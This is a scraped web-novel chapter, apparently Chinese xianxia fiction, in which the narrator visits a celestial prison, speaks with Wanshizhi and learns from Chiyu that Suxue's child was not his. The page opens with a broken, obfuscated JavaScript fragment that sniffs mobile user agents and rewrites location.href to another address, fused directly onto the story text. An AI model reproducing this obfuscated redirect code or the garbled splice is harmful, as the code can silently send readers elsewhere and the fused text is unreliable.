0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579295|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄权术之辈,终将为人所唾。” 无悔一边竖耳听着,一边凑到我耳边低语,“瞧见没?自星允之后,宏音大人又成了某些上仙的眼中钉。” “宏音才不怕他们!”我忍不住攥紧袖子。 “好了好了,你自己随处看看。我得跟着队伍下寂灭池去。” 我对这儿倒算熟门熟路——好歹也曾有过前科。这不,我三两下绕开人流,摸到了厨房区域,一眼便瞧见正弓着背处理食材的万事知。他见到我,慌忙擦手,朝身旁人干笑解释——我重游故地,有点想念。这便带我出去走走看看,重温下做囚犯的滋味。 说罢连拉带拽将我带到外头,万事知压低声音道,“我的小姑奶奶,可别再往这儿找我了!您如今是帝君跟前的小八,宏音大人捧在手心的小汤圆,金贵着呢。跟您这样的贵人扯上关系,容易招人眼红……” 我怔了怔,捕捉到某个词,“小……小汤圆?” 万事知嘿嘿一笑,眼角皱出深深的纹路,“您还不知道?宏音大人逢人便说,如今谁不晓得——您可是有了座稳当当的大靠山。” 刚准备将我打发走,万事知一抬眼,却迎来了另一位更不好应付的客人—— 赤羽。 说老实话,我心里顿时一紧。还未想好该如何交代素雪的下落,人已到了眼前。 万事知左右为难,索性将我和赤羽引至一处新掘出的空牢房,低声道,“二位抓紧说几句罢。” 好的是千手自那日被我烧得七七八八,虚弱不堪,暂时没能力巡视地刑司,我和赤羽的密谈环境,算是安全。 地刑司依旧浸在刺骨的“寒意”中。我顺着冰冷石墙缓缓坐下,依旧无法做出环抱膝盖的姿态。四周寂静得可怕,黑暗浓稠如墨,唯有中央那根巨大地脊偶尔逸出一缕幽微的磷光,短暂照亮浮动的尘埃。 “照夜。”赤羽在我身旁靠墙坐下。黑暗中,他那双赤瞳仿佛被血色彻底浸染,透出凛冽的杀意与疏离,“素雪……是否已死?” “对不起,赤羽。”我声音发干,“我不知道该如何开口……请你,节哀。” 漫长的沉默里,只余赤羽平稳却沉重的呼吸。半晌,他极轻地嗤笑一声,嗓音是前所未有的冰冷,“你未免……太小看我了,照夜。” 我愕然侧首,对上赤羽在幽暗中灼灼生光的赤眸。随后,他吐露了一个令我窒息的秘密—— 素雪腹中的孩子,并非他的骨肉。 因素雪心里眼里,从来只有那位师兄,渊寂。当年下嫁赤羽,不过是一场监视与笼络的交易。赤羽心中明镜似的,却因门中尚有众多徒众倚仗,不得不接下这桩“美意”。而这无奈的选择,终在素雪离去后,引来了星允等人的层层盘剥。 沦为散仙的赤羽兜转漂泊,终究落得门派凋零、潦倒孤寂。幸而浮沤岛仙力并不充沛,并非仙家必争之地,尚能保全一方栖身之所。况且,他还有渊口鱼,有枞,有从青莲山带出来的小圆。 脚步声由远及近,仙军寻来了。我与赤羽的谈话只得仓促终止。临别时,他仅低声嘱了一句,“世道险恶,万事小心。” 这便是我与赤羽的最后一面。他嘴上说着浑不在意,可那压抑的语调里,分明浸着经年累月的隐痛。彼时的我尚且不知,永别往往发生于这般看似寻常的瞬间——猝不及防,连道别都来不及。 莫名的心绪沉抑,我独坐于寂静的牢房中,竟有些不愿离开。思绪飘飘荡荡,又回到了我为探查牧狸下落、初次主动踏入这囹圄之地的时光。那时,我与尾巴穿越寂灭池,潜入地刑司更深的底层,却在未能探明究竟之际,被渊寂当场擒住。 “唔……又冷,又热。” 我一惊,低头看去——尾巴正从我衣襟间挤出一团小小的、发着微光的脑袋,左右甩了甩,仿佛在驱散睡意。